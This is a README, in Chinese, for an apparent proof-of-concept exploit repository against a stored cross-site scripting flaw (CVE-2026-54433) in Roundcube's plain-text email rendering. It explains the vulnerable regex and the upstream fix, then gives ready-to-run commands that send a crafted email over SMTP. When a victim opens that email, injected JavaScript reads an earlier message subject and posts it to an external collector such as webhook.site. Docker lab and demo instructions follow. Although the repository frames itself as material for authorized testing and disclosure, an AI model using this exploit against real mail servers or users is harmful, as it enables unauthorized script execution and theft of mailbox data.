
本仓库包含针对 CVE-2026-54433 的可配置 Python 概念验证代码,这是 Roundcube 纯文本电子邮件渲染器中的一个存储型跨站脚本漏洞。未经身份验证的发送者可以发送精心构造的 text/plain 消息。当已认证的 Roundcube 用户打开或预览该消息时,攻击者控制的 JavaScript 会在 Roundcube 源(origin)中执行。
该 PoC 演示了具体的已认证会话影响,且不收集 Cookie 或消息正文:它会读取一条较早消息的主题,并将该值、Roundcube 源以及任务名称作为 URL 编码的 POST 字段发送给经过授权的收集器。
警告
这是活跃的漏洞利用代码。请仅在您自有的实验环境中使用,或仅针对您被明确授权测试的系统与邮箱使用。发送模式会传输精心构造的电子邮件,并可能向收集器披露一条已存在的邮件主题。如需离线检查,请使用
--generate-only。
Roundcube 会将纯文本消息中的地址转换为可点击的 mailto: 链接。在受影响版本中,可选查询后缀使用 \S+ 进行匹配:
. '(\?\S+)?'
由于 \S 包含 < 和 >,一个类似电子邮件地址开头的字符串可能会使自动链接替换消耗掉一个 HTML 开始标签,而剩余部分则被解释为标记。以下最小形式说明了这一原语:
上游修复限制查询后缀,使其不能包含尖括号或空白字符:
. '(\?[^<>\s]+)?'
厂商将该问题描述为“零点击”,因为无需点击链接。在已认证状态下打开或预览电子邮件,仍然是触发载荷渲染的邮件客户端操作。
| 发布线 | 状态 |
|---|---|
| Roundcube 1.6.17 之前的版本 | 受影响 |
| Roundcube 1.6.17 及之后的 1.6.x | 已修复 |
| Roundcube 1.7.0 和 1.7.1 | 受影响 |
| Roundcube 1.7.2 及之后 | 已修复 |
公开的修复提交为:
请升级到 Roundcube 1.6.17 / 1.7.2 或更新的受支持版本。
text/plain。src 来触发 onerror。收集器回调仍然需要浏览器具备网络可达性。HttpOnly。此 PoC 不会尝试读取它。其同源请求会自动使用已认证会话,而来自另一条消息的主题即为影响证明。所演示的结果是已认证的 JavaScript 执行,以及对一条较早电子邮件主题的读取权限。本仓库并不声称实现帐户接管、任意消息正文窃取或服务端代码执行。
cve-2026-54433-poc.py 是自包含的,并且仅使用 Python 标准库。它:
text/plain 电子邮件;CVE-2026-54433 开头的较早主题;subject、origin 和 task POST 到 /capture/<random-marker>;载荷会插入以下 DOM 注释:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
它还会隐藏自动链接的地址片段和图片损坏指示,同时显示调用者提供的无害正文。
在不建立网络连接的情况下生成电子邮件:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
这将写入:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.json在使用发送模式之前,请检查生成的消息。
--collector 值可以是 Webhook.site UUID、捕获 URL 或 #!/view/ URL。脚本会据此推导出捕获端点和轮询端点。
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
如果 SMTP_PASSWORD 不存在,脚本会提示输入密码,且不会回显或存储该密码。可以使用 --smtp-password-env NAME 选择其他名称的变量。在多用户系统上请避免使用 --smtp-password,因为命令行参数可能会在进程列表或 shell 历史中可见。
脚本在发送前会要求明确输入 YES。在非交互式且已经过授权的实验室自动化中,请传入 --yes。默认情况下,它会等待回调最多 24 小时;可使用 --timeout SECONDS 更改这一时长。
对于非 Webhook.site 收集器,请传入捕获基础地址和可选的 JSON 状态端点:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
随附的 collector.py 实现了兼容的 /capture/<marker> 和 /status 端点。它默认绑定到回环地址。真正的 HTTPS 部署和访问控制有意留给经授权的测试人员处理。
该实验环境不发布主机端口,且仅包含合成消息。它使用同一个 Python PoC 生成触发消息,将两条消息投递到一次性 Dovecot 邮箱中,通过一次性无头浏览器登录,并记录注入的处理程序是否读取了先前的主题。
要求:Docker、Python 3、OpenSSL 和 jq。
漏洞版本测试:
./lab/run.sh
已修复版本对照:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
如需视频或实时浏览器演示,请运行:
./lab/demo.sh
它仅在回环地址上发布 Roundcube 和可视化收集器。打开脚本打印的两个 URL,显示初始为空的收集器,使用打印的合成凭据登录,点击触发邮件,然后返回收集器。捕获的合成主题会出现在自动刷新的表格中。按 Ctrl-C 可移除一次性容器和网络。
要录制浏览器交互和真实的 Webhook.site 回调,请使用可复现的录制器。它需要 Chrome、Xvfb、ffmpeg、Docker,以及通过环境提供的经授权的 Webhook.site 令牌:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
生成的 MP4 显示可见的 Roundcube 触发行、带注释的鼠标点击,以及 Webhook.site 显示收到的合成主题。该令牌永远不会存储在源代码树中。
录制产物:assets/CVE-2026-54433-webhook-demo.mp4
录制内容包含一个可见的终端面板,显示仅生成模式的 Python 调用、其载荷生成输出、Roundcube 点击,以及由此产生的 Webhook.site 请求。
可视化演示还接受 COLLECTOR_URL 和 COLLECTOR_VIEW_URL;将两者都指向经授权的 Webhook.site 令牌,以显示真实收集器收到合成主题。不要重复使用包含无关请求的令牌。
端到端对比于 2026-08-14 在 x86-64 Linux 上使用 Docker 运行:
正向回调正文(合成值,来源已脱敏):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
结构化、已脱敏的对比结果位于 docs/e2e-results.json。
离线检查会编译 Python 源码,生成一份全新的 .eml,并检查其 MIME 类型、载荷原语、可见正文、注释和元数据:
./verify.sh
设置 RUN_DOCKER=1 以附加两个端到端 Docker 对照:
RUN_DOCKER=1 ./verify.sh
2026-08-14 当天,针对 CVE-2026-54433 在 GitHub、Exploit-Database 和 Packet Storm 上进行的有针对性搜索,未找到经过验证、可配置且带有端到端受影响/已修复对比的邮件发送漏洞利用。厂商和漏洞数据库条目、扫描器模板讨论以及描述性文章当时已经存在。这只是一份带日期的搜索快照,并非声称不存在其他 PoC。
漏洞发现:Bohdan Kurinnoy,三星乌克兰研发中心(SRUKR),Roundcube 已致谢。
研究、影响验证与漏洞利用实现:A. Ramos <[email protected]>(Twitter:@aramosf)。
CVE-2026-54433 Roundcube 纯文本电子邮件存储型 XSS PoC,具备受限的已认证邮箱主题证据,以及一个受影响/已修复 Docker 实验环境。
| 对照项 | 镜像摘要 | 注入的处理程序 | 是否发送先前主题 | 结果 |
|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | 存在 eval(name) | 是,URL 编码的 POST | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | 不存在;标记已转义 | 无回调 | NOT_CONFIRMED |